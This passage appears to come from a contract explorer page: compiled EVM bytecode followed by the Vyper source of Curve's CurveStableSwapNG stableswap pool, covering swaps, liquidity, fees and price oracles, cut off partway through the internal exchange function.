1c54f243822e0e9a0a377610b81577e771b3efe79964e76636b0d5d10247950d60a0524660c0523060e0526020615c136101003960c060405260408051602082012090508152506151a8565b6020615c338239505b565b60266040516020525f5260405f208054608051808203828111615226579050905081555060266060516020525f5260405f20805460805180820182811061522657905090508155506060516040517fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60805160a052602060a0a3565b5f80fd0299538309065752a30a809452480d1cfc52e90c008153c207076c533d0ad40ddb8c1550652081066c00dc059c4258c4011a053931ab5219c72554fd4d5001c90576a9cd3e255e455e604cd2156085b72df5de03f4651a4d01d20bff6567df02ca207a6529357750006705e2e7d26400f425ec0238621a1025fd0684b124f20518160ddd220405a9059cbb1baa4570a0823102372530c5408519ac05ddca3f43009d055e0d443f21266506fdde03013205a7256d0903fe85c66106570075258edfdd5f00a905ddc1f59d02dea5cc2b27d721d24590d2083719f3253644e515206805313ce56701be05081579a50c09851ddc3b01012605d505accf1d3de5bfa0b13302c60595d89b410178051be913a5010e057706db750e1765fee3f7f900b505095ea7b31cd54514f0597924860565bbea6b28be45907a016b1b7705b4b577ad00d0054903b0d1245e2523b872dd1bdb65687276531b27252969e04a157aa5551a65882761051405228800e8055409491a00c405015c28382803454a6e32c60e21857ecebe0002a0257e3db030035d85dd62ed3e025d45bb7b8b802219053c157e6426034576a2f0f0244e053df0212402d485f446c1d02435053db06dd8232565afb430120367a5000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000020000000000000000000000006a8cbed756804b16e05e741edabd5cb544ae21bf000000000000000000000000000000000000000000000000000000000000000200000000000000000000000080d69e79258fe9d056c822461c4eb0b4ca8802e2000000000000000000000000ae78736cd615f374d3085123a210448e74fc6393000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000de0b6b3a76400000000000000000000000000000000000000000000000000000de0b6b3a76400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002679aefce0000000000000000d6d553327b16dd6076d69c2daec91a50dd1e9f660000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000b696e724554482f7245544800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000009637276696e7245544800000000000000000000000000000000000000000000000edcb04bc13df23f3f8ffab595398b7bc73849fcaace9df492eb7049ffd0312e000000000000000000000000000000000000000000000000000000000000000165433da3d37591bcd0a8d4e0d7e50089425444928b3b35fc8868c6e4e78378433fac650b45d516be9fef46d1bc67b291dc71786c3ba160ae4dd7519d4b46eede
# pragma version 0.3.10 # pragma optimize codesize # pragma evm-version shanghai """ @title CurveStableSwapNG @author Curve.Fi @license Copyright (c) Curve.Fi, 2020-2023 - all rights reserved @notice Stableswap implementation for up to 8 coins with no rehypothecation, i.e. the AMM does not deposit tokens into other contracts. The Pool contract also records exponential moving averages for coins relative to coin 0. @dev Asset Types: 0. Standard ERC20 token with no additional features. Note: Users are advised to do careful due-diligence on ERC20 tokens that they interact with, as this contract cannot differentiate between harmless and malicious ERC20 tokens. 1. Oracle - token with rate oracle (e.g. wstETH) Note: Oracles may be controlled externally by an EOA. Users are advised to proceed with caution. 2. Rebasing - token with rebase (e.g. stETH). Note: Users and Integrators are advised to understand how the AMM contract works with rebasing balances. 3. ERC4626 - token with convertToAssets method (e.g. sDAI). Note: Some ERC4626 implementations may be susceptible to Donation/Inflation attacks. Users are advised to proceed with caution. NOTE: Pool Cannot support tokens with multiple asset types: e.g. ERC4626 with fees are not supported. Supports: 1. ERC20 support for return True/revert, return True/False, return None 2. ERC20 tokens can have arbitrary decimals (<=18). 3. ERC20 tokens that rebase (either positive or fee on transfer) 4. ERC20 tokens that have a rate oracle (e.g. wstETH, cbETH, sDAI, etc.) Note: Oracle precision _must_ be 10**18. 5. ERC4626 tokens with arbitrary precision (<=18) of Vault token and underlying asset. Additional features include: 1. Adds price oracles based on AMM State Price (and _not_ last traded price). 2. Adds TVL oracle based on D. 3. `exchange_received`: swaps that expect an ERC20 transfer to have occurred prior to executing the swap. Note: a. If pool contains rebasing tokens and one of the `asset_types` is 2 (Rebasing) then calling `exchange_received` will REVERT. b. If pool contains rebasing token and `asset_types` does not contain 2 (Rebasing) then this is an incorrect implementation and rebases can be stolen. 4. Adds `get_dx`: Similar to `get_dy` which returns an expected output of coin[j] for given `dx` amount of coin[i], `get_dx` returns expected input of coin[i] for an output amount of coin[j]. 5. Fees are dynamic: AMM will charge a higher fee if pool depegs. This can cause very slight discrepancies between calculated fees and realised fees. """ from vyper.interfaces import ERC20 from vyper.interfaces import ERC20Detailed from vyper.interfaces import ERC4626 implements: ERC20 # ------------------------------- Interfaces --------------------------------- interface Factory: def fee_receiver() -> address: view def admin() -> address: view def views_implementation() -> address: view interface ERC1271: def isValidSignature(_hash: bytes32, _signature: Bytes[65]) -> bytes32: view interface StableSwapViews: def get_dx(i: int128, j: int128, dy: uint256, pool: address) -> uint256: view def get_dy(i: int128, j: int128, dx: uint256, pool: address) -> uint256: view def dynamic_fee(i: int128, j: int128, pool: address) -> uint256: view def calc_token_amount( _amounts: DynArray[uint256, MAX_COINS], _is_deposit: bool, _pool: address ) -> uint256: view # --------------------------------- Events ----------------------------------- event Transfer: sender: indexed(address) receiver: indexed(address) value: uint256 event Approval: owner: indexed(address) spender: indexed(address) value: uint256 event TokenExchange: buyer: indexed(address) sold_id: int128 tokens_sold: uint256 bought_id: int128 tokens_bought: uint256 event TokenExchangeUnderlying: buyer: indexed(address) sold_id: int128 tokens_sold: uint256 bought_id: int128 tokens_bought: uint256 event AddLiquidity: provider: indexed(address) token_amounts: DynArray[uint256, MAX_COINS] fees: DynArray[uint256, MAX_COINS] invariant: uint256 token_supply: uint256 event RemoveLiquidity: provider: indexed(address) token_amounts: DynArray[uint256, MAX_COINS] fees: DynArray[uint256, MAX_COINS] token_supply: uint256 event RemoveLiquidityOne: provider: indexed(address) token_id: int128 token_amount: uint256 coin_amount: uint256 token_supply: uint256 event RemoveLiquidityImbalance: provider: indexed(address) token_amounts: DynArray[uint256, MAX_COINS] fees: DynArray[uint256, MAX_COINS] invariant: uint256 token_supply: uint256 event RampA: old_A: uint256 new_A: uint256 initial_time: uint256 future_time: uint256 event StopRampA: A: uint256 t: uint256 event ApplyNewFee: fee: uint256 offpeg_fee_multiplier: uint256 event SetNewMATime: ma_exp_time: uint256 D_ma_time: uint256 MAX_COINS: constant(uint256) = 8 # max coins is 8 in the factory MAX_COINS_128: constant(int128) = 8 # ---------------------------- Pool Variables -------------------------------- N_COINS: public(immutable(uint256)) N_COINS_128: immutable(int128) PRECISION: constant(uint256) = 10 ** 18 factory: immutable(Factory) coins: public(immutable(DynArray[address, MAX_COINS])) asset_types: immutable(DynArray[uint8, MAX_COINS]) pool_contains_rebasing_tokens: immutable(bool) stored_balances: DynArray[uint256, MAX_COINS] # Fee specific vars FEE_DENOMINATOR: constant(uint256) = 10 ** 10 fee: public(uint256) # fee * 1e10 offpeg_fee_multiplier: public(uint256) # * 1e10 admin_fee: public(constant(uint256)) = 5000000000 MAX_FEE: constant(uint256) = 5 * 10 ** 9 # ---------------------- Pool Amplification Parameters ----------------------- A_PRECISION: constant(uint256) = 100 MAX_A: constant(uint256) = 10 ** 6 MAX_A_CHANGE: constant(uint256) = 10 initial_A: public(uint256) future_A: public(uint256) initial_A_time: public(uint256) future_A_time: public(uint256) # ---------------------------- Admin Variables ------------------------------- MIN_RAMP_TIME: constant(uint256) = 86400 admin_balances: public(DynArray[uint256, MAX_COINS]) # ----------------------- Oracle Specific vars ------------------------------- rate_multipliers: immutable(DynArray[uint256, MAX_COINS]) # [bytes4 method_id][bytes8 <empty>][bytes20 oracle] rate_oracles: immutable(DynArray[uint256, MAX_COINS]) # For ERC4626 tokens, we need: call_amount: immutable(DynArray[uint256, MAX_COINS]) scale_factor: immutable(DynArray[uint256, MAX_COINS]) last_prices_packed: DynArray[uint256, MAX_COINS] # packing: last_price, ma_price last_D_packed: uint256 # packing: last_D, ma_D ma_exp_time: public(uint256) D_ma_time: public(uint256) ma_last_time: public(uint256) # packing: ma_last_time_p, ma_last_time_D # ma_last_time has a distinction for p and D because p is _not_ updated if # users remove_liquidity, but D is. # shift(2**32 - 1, 224) ORACLE_BIT_MASK: constant(uint256) = (2**32 - 1) * 256**28 # --------------------------- ERC20 Specific Vars ---------------------------- name: public(immutable(String[64])) symbol: public(immutable(String[32])) decimals: public(constant(uint8)) = 18 version: public(constant(String[8])) = "v7.0.0" balanceOf: public(HashMap[address, uint256]) allowance: public(HashMap[address, HashMap[address, uint256]]) total_supply: uint256 nonces: public(HashMap[address, uint256]) # keccak256("isValidSignature(bytes32,bytes)")[:4] << 224 ERC1271_MAGIC_VAL: constant(bytes32) = 0x1626ba7e00000000000000000000000000000000000000000000000000000000 EIP712_TYPEHASH: constant(bytes32) = keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract,bytes32 salt)") EIP2612_TYPEHASH: constant(bytes32) = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)") VERSION_HASH: constant(bytes32) = keccak256(version) NAME_HASH: immutable(bytes32) CACHED_CHAIN_ID: immutable(uint256) salt: public(immutable(bytes32)) CACHED_DOMAIN_SEPARATOR: immutable(bytes32) # ------------------------------ AMM Setup ----------------------------------- @external def __init__( _name: String[32], _symbol: String[10], _A: uint256, _fee: uint256, _offpeg_fee_multiplier: uint256, _ma_exp_time: uint256, _coins: DynArray[address, MAX_COINS], _rate_multipliers: DynArray[uint256, MAX_COINS], _asset_types: DynArray[uint8, MAX_COINS], _method_ids: DynArray[bytes4, MAX_COINS], _oracles: DynArray[address, MAX_COINS], ): """ @notice Initialize the pool contract @param _name Name of the new plain pool. @param _symbol Symbol for the new plain pool. @param _A Amplification co-efficient - a lower value here means less tolerance for imbalance within the pool's assets. Suggested values include: * Uncollateralized algorithmic stablecoins: 5-10 * Non-redeemable, collateralized assets: 100 * Redeemable assets: 200-400 @param _fee Trade fee, given as an integer with 1e10 precision. The the maximum is 1% (100000000). 50% of the fee is distributed to veCRV holders. @param _offpeg_fee_multiplier A multiplier that determines how much to increase Fees by when assets in the AMM depeg. Example value: 20000000000 @param _ma_exp_time Averaging window of oracle. Set as time_in_seconds / ln(2) Example: for 10 minute EMA, _ma_exp_time is 600 / ln(2) ~= 866 @param _coins List of addresses of the coins being used in the pool. @param _rate_multipliers An array of: [10 ** (36 - _coins[n].decimals()), ... for n in range(N_COINS)] @param _asset_types Array of uint8 representing tokens in pool @param _method_ids Array of first four bytes of the Keccak-256 hash of the function signatures of the oracle addresses that gives rate oracles. Calculated as: keccak(text=event_signature.replace(" ", ""))[:4] @param _oracles Array of rate oracle addresses. """ coins = _coins asset_types = _asset_types pool_contains_rebasing_tokens = 2 in asset_types __n_coins: uint256 = len(_coins) N_COINS = __n_coins N_COINS_128 = convert(__n_coins, int128) rate_multipliers = _rate_multipliers factory = Factory(msg.sender) A: uint256 = unsafe_mul(_A, A_PRECISION) self.initial_A = A self.future_A = A self.fee = _fee self.offpeg_fee_multiplier = _offpeg_fee_multiplier assert _ma_exp_time != 0 self.ma_exp_time = _ma_exp_time self.D_ma_time = 62324 # <--------- 12 hours default on contract start. self.ma_last_time = self.pack_2(block.timestamp, block.timestamp) # ------------------- initialize storage for DynArrays ------------------ _call_amount: DynArray[uint256, MAX_COINS] = empty(DynArray[uint256, MAX_COINS]) _scale_factor: DynArray[uint256, MAX_COINS] = empty(DynArray[uint256, MAX_COINS]) _rate_oracles: DynArray[uint256, MAX_COINS] = empty(DynArray[uint256, MAX_COINS]) for i in range(N_COINS_128, bound=MAX_COINS_128): if i < N_COINS_128 - 1: self.last_prices_packed.append(self.pack_2(10**18, 10**18)) _rate_oracles.append(convert(_method_ids[i], uint256) * 2**224 | convert(_oracles[i], uint256)) self.stored_balances.append(0) self.admin_balances.append(0) if _asset_types[i] == 3: _call_amount.append(10**convert(ERC20Detailed(_coins[i]).decimals(), uint256)) _underlying_asset: address = ERC4626(_coins[i]).asset() _scale_factor.append(10**(18 - convert(ERC20Detailed(_underlying_asset).decimals(), uint256))) else: _call_amount.append(0) _scale_factor.append(0) call_amount = _call_amount scale_factor = _scale_factor rate_oracles = _rate_oracles # ----------------------------- ERC20 stuff ------------------------------ name = _name symbol = _symbol # EIP712 related params ----------------- NAME_HASH = keccak256(name) salt = block.prevhash CACHED_CHAIN_ID = chain.id CACHED_DOMAIN_SEPARATOR = keccak256( _abi_encode( EIP712_TYPEHASH, NAME_HASH, VERSION_HASH, chain.id, self, salt, ) ) # ------------------------ Fire a transfer event ------------------------- log Transfer(empty(address), msg.sender, 0) # ------------------ Token transfers in and out of the AMM ------------------- @internal def _transfer_in( coin_idx: int128, dx: uint256, sender: address, expect_optimistic_transfer: bool, ) -> uint256: """ @notice Contains all logic to handle ERC20 token transfers. @param coin_idx Index of the coin to transfer in. @param dx amount of `_coin` to transfer into the pool. @param sender address to transfer `_coin` from. @param receiver address to transfer `_coin` to. @param expect_optimistic_transfer True if contract expects an optimistic coin transfer """ _dx: uint256 = ERC20(coins[coin_idx]).balanceOf(self) # ------------------------- Handle Transfers ----------------------------- if expect_optimistic_transfer: _dx = _dx - self.stored_balances[coin_idx] assert _dx >= dx else: assert dx > 0 # dev : do not transferFrom 0 tokens into the pool assert ERC20(coins[coin_idx]).transferFrom( sender, self, dx, default_return_value=True ) _dx = ERC20(coins[coin_idx]).balanceOf(self) - _dx # --------------------------- Store transferred in amount --------------------------- self.stored_balances[coin_idx] += _dx return _dx @internal def _transfer_out(_coin_idx: int128, _amount: uint256, receiver: address): """ @notice Transfer a single token from the pool to receiver. @dev This function is called by `remove_liquidity` and `remove_liquidity_one_coin`, `_exchange`, `_withdraw_admin_fees` and `remove_liquidity_imbalance` methods. @param _coin_idx Index of the token to transfer out @param _amount Amount of token to transfer out @param receiver Address to send the tokens to """ assert receiver != empty(address) # dev: do not send tokens to zero_address if not pool_contains_rebasing_tokens: # we need not cache balanceOf pool before swap out self.stored_balances[_coin_idx] -= _amount assert ERC20(coins[_coin_idx]).transfer( receiver, _amount, default_return_value=True ) else: # cache balances pre and post to account for fee on transfers etc. coin_balance: uint256 = ERC20(coins[_coin_idx]).balanceOf(self) assert ERC20(coins[_coin_idx]).transfer( receiver, _amount, default_return_value=True ) self.stored_balances[_coin_idx] = coin_balance - _amount # -------------------------- AMM Special Methods ----------------------------- @view @internal def _stored_rates() -> DynArray[uint256, MAX_COINS]: """ @notice Gets rate multipliers for each coin. @dev If the coin has a rate oracle that has been properly initialised, this method queries that rate by static-calling an external contract. """ rates: DynArray[uint256, MAX_COINS] = rate_multipliers for i in range(N_COINS_128, bound=MAX_COINS_128): if asset_types[i] == 1 and not rate_oracles[i] == 0: # NOTE: fetched_rate is assumed to be 10**18 precision oracle_response: Bytes[32] = raw_call( convert(rate_oracles[i] % 2**160, address), _abi_encode(rate_oracles[i] & ORACLE_BIT_MASK), max_outsize=32, is_static_call=True, ) assert len(oracle_response) == 32 fetched_rate: uint256 = convert(oracle_response, uint256) rates[i] = unsafe_div(rates[i] * fetched_rate, PRECISION) elif asset_types[i] == 3: # ERC4626 # fetched_rate: uint256 = ERC4626(coins[i]).convertToAssets(call_amount[i]) * scale_factor[i] # here: call_amount has ERC4626 precision, but the returned value is scaled up to 18 # using scale_factor which is (18 - n) if underlying asset has n decimals. rates[i] = unsafe_div( rates[i] * ERC4626(coins[i]).convertToAssets(call_amount[i]) * scale_factor[i], PRECISION ) # 1e18 precision return rates @view @internal def _balances() -> DynArray[uint256, MAX_COINS]: """ @notice Calculates the pool's balances _excluding_ the admin's balances. @dev If the pool contains rebasing tokens, this method ensures LPs keep all rebases and admin only claims swap fees. This also means that, since admin's balances are stored in an array and not inferred from read balances, the fees in the rebasing token that the admin collects is immune to slashing events. """ result: DynArray[uint256, MAX_COINS] = empty(DynArray[uint256, MAX_COINS]) balances_i: uint256 = 0 for i in range(N_COINS_128, bound=MAX_COINS_128): if pool_contains_rebasing_tokens: # Read balances by gulping to account for rebases balances_i = ERC20(coins[i]).balanceOf(self) - self.admin_balances[i] else: # Use cached balances balances_i = self.stored_balances[i] - self.admin_balances[i] result.append(balances_i) return result # -------------------------- AMM Main Functions ------------------------------ @external @nonreentrant('lock') def exchange( i: int128, j: int128, _dx: uint256, _min_dy: uint256, _receiver: address = msg.sender, ) -> uint256: """ @notice Perform an exchange between two coins @dev Index values can be found via the `coins` public getter method @param i Index value for the coin to send @param j Index value of the coin to receive @param _dx Amount of `i` being exchanged @param _min_dy Minimum amount of `j` to receive @param _receiver Address that receives `j` @return Actual amount of `j` received """ return self._exchange( msg.sender, i, j, _dx, _min_dy, _receiver, False ) @external @nonreentrant('lock') def exchange_received( i: int128, j: int128, _dx: uint256, _min_dy: uint256, _receiver: address = msg.sender, ) -> uint256: """ @notice Perform an exchange between two coins without transferring token in @dev The contract swaps tokens based on a change in balance of coin[i]. The dx = ERC20(coin[i]).balanceOf(self) - self.stored_balances[i]. Users of this method are dex aggregators, arbitrageurs, or other users who do not wish to grant approvals to the contract: they would instead send tokens directly to the contract and call `exchange_received`. Note: This is disabled if pool contains rebasing tokens. @param i Index value for the coin to send @param j Index value of the coin to receive @param _dx Amount of `i` being exchanged @param _min_dy Minimum amount of `j` to receive @param _receiver Address that receives `j` @return Actual amount of `j` received """ assert not pool_contains_rebasing_tokens # dev: exchange_received not supported if pool contains rebasing tokens return self._exchange( msg.sender, i, j, _dx, _min_dy, _receiver, True, # <--------------------------------------- swap optimistically. ) @external @nonreentrant('lock') def add_liquidity( _amounts: DynArray[uint256, MAX_COINS], _min_mint_amount: uint256, _receiver: address = msg.sender ) -> uint256: """ @notice Deposit coins into the pool @param _amounts List of amounts of coins to deposit @param _min_mint_amount Minimum amount of LP tokens to mint from the deposit @param _receiver Address that owns the minted LP tokens @return Amount of LP tokens received by depositing """ assert _receiver != empty(address) # dev: do not send LP tokens to zero_address amp: uint256 = self._A() old_balances: DynArray[uint256, MAX_COINS] = self._balances() rates: DynArray[uint256, MAX_COINS] = self._stored_rates() # Initial invariant D0: uint256 = self.get_D_mem(rates, old_balances, amp) total_supply: uint256 = self.total_supply new_balances: DynArray[uint256, MAX_COINS] = old_balances # -------------------------- Do Transfers In ----------------------------- for i in range(N_COINS_128, bound=MAX_COINS_128): if _amounts[i] > 0: new_balances[i] += self._transfer_in( i, _amounts[i], msg.sender, False, # expect_optimistic_transfer ) else: assert total_supply != 0 # dev: initial deposit requires all coins # ------------------------------------------------------------------------ # Invariant after change D1: uint256 = self.get_D_mem(rates, new_balances, amp) assert D1 > D0 # We need to recalculate the invariant accounting for fees # to calculate fair user's share fees: DynArray[uint256, MAX_COINS] = empty(DynArray[uint256, MAX_COINS]) mint_amount: uint256 = 0 if total_supply > 0: ideal_balance: uint256 = 0 difference: uint256 = 0 new_balance: uint256 = 0 ys: uint256 = unsafe_div(D0 + D1, N_COINS) xs: uint256 = 0 _dynamic_fee_i: uint256 = 0 # Only account for fees if we are not the first to deposit base_fee: uint256 = unsafe_div( unsafe_mul(self.fee, N_COINS), unsafe_mul(4, unsafe_sub(N_COINS, 1)) ) for i in range(N_COINS_128, bound=MAX_COINS_128): ideal_balance = D1 * old_balances[i] / D0 difference = 0 new_balance = new_balances[i] if ideal_balance > new_balance: difference = unsafe_sub(ideal_balance, new_balance) else: difference = unsafe_sub(new_balance, ideal_balance) # fee[i] = _dynamic_fee(i, j) * difference / FEE_DENOMINATOR xs = unsafe_div(rates[i] * (old_balances[i] + new_balance), PRECISION) _dynamic_fee_i = self._dynamic_fee(xs, ys, base_fee) fees.append(unsafe_div(_dynamic_fee_i * difference, FEE_DENOMINATOR)) self.admin_balances[i] += unsafe_div(fees[i] * admin_fee, FEE_DENOMINATOR) new_balances[i] -= fees[i] xp: DynArray[uint256, MAX_COINS] = self._xp_mem(rates, new_balances) D1 = self.get_D(xp, amp) # <--------------- Reuse D1 for new D value. mint_amount = unsafe_div(total_supply * (D1 - D0), D0) self.upkeep_oracles(xp, amp, D1) else: mint_amount = D1 # Take the dust if there was any # (re)instantiate D oracle if totalSupply is zero. self.last_D_packed = self.pack_2(D1, D1) # Update D ma time: ma_last_time_unpacked: uint256[2] = self.unpack_2(self.ma_last_time) if ma_last_time_unpacked[1] < block.timestamp: ma_last_time_unpacked[1] = block.timestamp self.ma_last_time = self.pack_2(ma_last_time_unpacked[0], ma_last_time_unpacked[1]) assert mint_amount >= _min_mint_amount, "Slippage screwed you" # Mint pool tokens total_supply += mint_amount self.balanceOf[_receiver] += mint_amount self.total_supply = total_supply log Transfer(empty(address), _receiver, mint_amount) log AddLiquidity(msg.sender, _amounts, fees, D1, total_supply) return mint_amount @external @nonreentrant('lock') def remove_liquidity_one_coin( _burn_amount: uint256, i: int128, _min_received: uint256, _receiver: address = msg.sender, ) -> uint256: """ @notice Withdraw a single coin from the pool @param _burn_amount Amount of LP tokens to burn in the withdrawal @param i Index value of the coin to withdraw @param _min_received Minimum amount of coin to receive @param _receiver Address that receives the withdrawn coins @return Amount of coin received """ assert _burn_amount > 0 # dev: do not remove 0 LP tokens dy: uint256 = 0 fee: uint256 = 0 xp: DynArray[uint256, MAX_COINS] = empty(DynArray[uint256, MAX_COINS]) amp: uint256 = empty(uint256) D: uint256 = empty(uint256) dy, fee, xp, amp, D = self._calc_withdraw_one_coin(_burn_amount, i) assert dy >= _min_received, "Not enough coins removed" self.admin_balances[i] += unsafe_div(fee * admin_fee, FEE_DENOMINATOR) self._burnFrom(msg.sender, _burn_amount) self._transfer_out(i, dy, _receiver) log RemoveLiquidityOne(msg.sender, i, _burn_amount, dy, self.total_supply) self.upkeep_oracles(xp, amp, D) return dy @external @nonreentrant('lock') def remove_liquidity_imbalance( _amounts: DynArray[uint256, MAX_COINS], _max_burn_amount: uint256, _receiver: address = msg.sender ) -> uint256: """ @notice Withdraw coins from the pool in an imbalanced amount @param _amounts List of amounts of underlying coins to withdraw @param _max_burn_amount Maximum amount of LP token to burn in the withdrawal @param _receiver Address that receives the withdrawn coins @return Actual amount of the LP token burned in the withdrawal """ amp: uint256 = self._A() rates: DynArray[uint256, MAX_COINS] = self._stored_rates() old_balances: DynArray[uint256, MAX_COINS] = self._balances() D0: uint256 = self.get_D_mem(rates, old_balances, amp) new_balances: DynArray[uint256, MAX_COINS] = old_balances for i in range(N_COINS_128, bound=MAX_COINS_128): if _amounts[i] != 0: new_balances[i] -= _amounts[i] self._transfer_out(i, _amounts[i], _receiver) D1: uint256 = self.get_D_mem(rates, new_balances, amp) base_fee: uint256 = unsafe_div( unsafe_mul(self.fee, N_COINS), unsafe_mul(4, unsafe_sub(N_COINS, 1)) ) ys: uint256 = unsafe_div((D0 + D1), N_COINS) fees: DynArray[uint256, MAX_COINS] = empty(DynArray[uint256, MAX_COINS]) dynamic_fee: uint256 = 0 xs: uint256 = 0 ideal_balance: uint256 = 0 difference: uint256 = 0 new_balance: uint256 = 0 for i in range(N_COINS_128, bound=MAX_COINS_128): ideal_balance = D1 * old_balances[i] / D0 difference = 0 new_balance = new_balances[i] if ideal_balance > new_balance: difference = unsafe_sub(ideal_balance, new_balance) else: difference = unsafe_sub(new_balance, ideal_balance) xs = unsafe_div(rates[i] * (old_balances[i] + new_balance), PRECISION) dynamic_fee = self._dynamic_fee(xs, ys, base_fee) fees.append(unsafe_div(dynamic_fee * difference, FEE_DENOMINATOR)) self.admin_balances[i] += unsafe_div(fees[i] * admin_fee, FEE_DENOMINATOR) new_balances[i] -= fees[i] D1 = self.get_D_mem(rates, new_balances, amp) # dev: reuse D1 for new D. self.upkeep_oracles(self._xp_mem(rates, new_balances), amp, D1) total_supply: uint256 = self.total_supply burn_amount: uint256 = unsafe_div((D0 - D1) * total_supply, D0) + 1 assert burn_amount > 1 # dev: zero tokens burned assert burn_amount <= _max_burn_amount, "Slippage screwed you" self._burnFrom(msg.sender, burn_amount) log RemoveLiquidityImbalance( msg.sender, _amounts, fees, D1, total_supply - burn_amount ) return burn_amount @external @nonreentrant('lock') def remove_liquidity( _burn_amount: uint256, _min_amounts: DynArray[uint256, MAX_COINS], _receiver: address = msg.sender, _claim_admin_fees: bool = True, ) -> DynArray[uint256, MAX_COINS]: """ @notice Withdraw coins from the pool @dev Withdrawal amounts are based on current deposit ratios @param _burn_amount Quantity of LP tokens to burn in the withdrawal @param _min_amounts Minimum amounts of underlying coins to receive @param _receiver Address that receives the withdrawn coins @return List of amounts of coins that were withdrawn """ total_supply: uint256 = self.total_supply assert _burn_amount > 0 # dev: invalid burn amount assert len(_min_amounts) == N_COINS # dev: invalid array length for _min_amounts amounts: DynArray[uint256, MAX_COINS] = empty(DynArray[uint256, MAX_COINS]) balances: DynArray[uint256, MAX_COINS] = self._balances() value: uint256 = 0 for i in range(N_COINS_128, bound=MAX_COINS_128): value = unsafe_div(balances[i] * _burn_amount, total_supply) assert value >= _min_amounts[i], "Withdrawal resulted in fewer coins than expected" amounts.append(value) self._transfer_out(i, value, _receiver) self._burnFrom(msg.sender, _burn_amount) # <---- Updates self.total_supply # --------------------------- Upkeep D_oracle ---------------------------- ma_last_time_unpacked: uint256[2] = self.unpack_2(self.ma_last_time) last_D_packed_current: uint256 = self.last_D_packed old_D: uint256 = last_D_packed_current & (2**128 - 1) self.last_D_packed = self.pack_2( old_D - unsafe_div(old_D * _burn_amount, total_supply), # new_D = proportionally reduce D. self._calc_moving_average( last_D_packed_current, self.D_ma_time, ma_last_time_unpacked[1] ) ) if ma_last_time_unpacked[1] < block.timestamp: ma_last_time_unpacked[1] = block.timestamp self.ma_last_time = self.pack_2(ma_last_time_unpacked[0], ma_last_time_unpacked[1]) # ------------------------------- Log event ------------------------------ log RemoveLiquidity( msg.sender, amounts, empty(DynArray[uint256, MAX_COINS]), unsafe_sub(total_supply, _burn_amount) ) # ------- Withdraw admin fees if _claim_admin_fees is set to True -------- if _claim_admin_fees: self._withdraw_admin_fees() return amounts @external @nonreentrant('lock') def withdraw_admin_fees(): """ @notice Claim admin fees. Callable by anyone. """ self._withdraw_admin_fees() # ------------------------ AMM Internal Functions ---------------------------- @view @internal def _dynamic_fee(xpi: uint256, xpj: uint256, _fee: uint256) -> uint256: _offpeg_fee_multiplier: uint256 = self.offpeg_fee_multiplier if _offpeg_fee_multiplier <= FEE_DENOMINATOR: return _fee xps2: uint256 = (xpi + xpj) ** 2 return unsafe_div( unsafe_mul(_offpeg_fee_multiplier, _fee), unsafe_add( unsafe_sub(_offpeg_fee_multiplier, FEE_DENOMINATOR) * 4 * xpi * xpj / xps2, FEE_DENOMINATOR ) ) @internal def __exchange( x: uint256, _xp: DynArray[uint256, MAX_COINS], rates: DynArray[uint256, MAX_COINS], i: int128, j: int128, ) -> uint256: amp: uint256 = self._A() D: uint256 = self.get_D(_xp, amp) y: uint256 = self.get_y(i, j, x, _xp, amp, D) dy: uint256 = _xp[j] - y - 1 # -1 just in case there were some rounding errors dy_fee: uint256 = unsafe_div( dy * self._dynamic_fee( unsafe_div(_xp[i] + x, 2), unsafe_div(_xp[j] + y, 2), self.fee ), FEE_DENOMINATOR ) # Convert all to real units dy = (dy - dy_fee) * PRECISION / rates[j] self.admin_balances[j] += unsafe_div( unsafe_div(dy_fee * admin_fee, FEE_DENOMINATOR) * PRECISION, rates[j] ) # Calculate and store state prices: xp: DynArray[uint256, MAX_COINS] = _xp xp[i] = x xp[j] = y # D is not changed because we did not apply a fee self.upkeep_oracles(xp, amp, D) return dy @internal def _exchange( sender: address, i: int128, j: int128, _dx: uint256, _min_dy: uint256, receiver: address, expect_optimistic_transfer: bool ) -> uint256: assert i != j # dev: coin index out of range assert _dx > 0 # dev: do not exchange 0 coins rates: DynArray[uint256, MAX_COINS] = self._stored_rates() old_balances: DynArray[uint256, MAX_COINS] = self._balances() xp: DynArray[uint256, 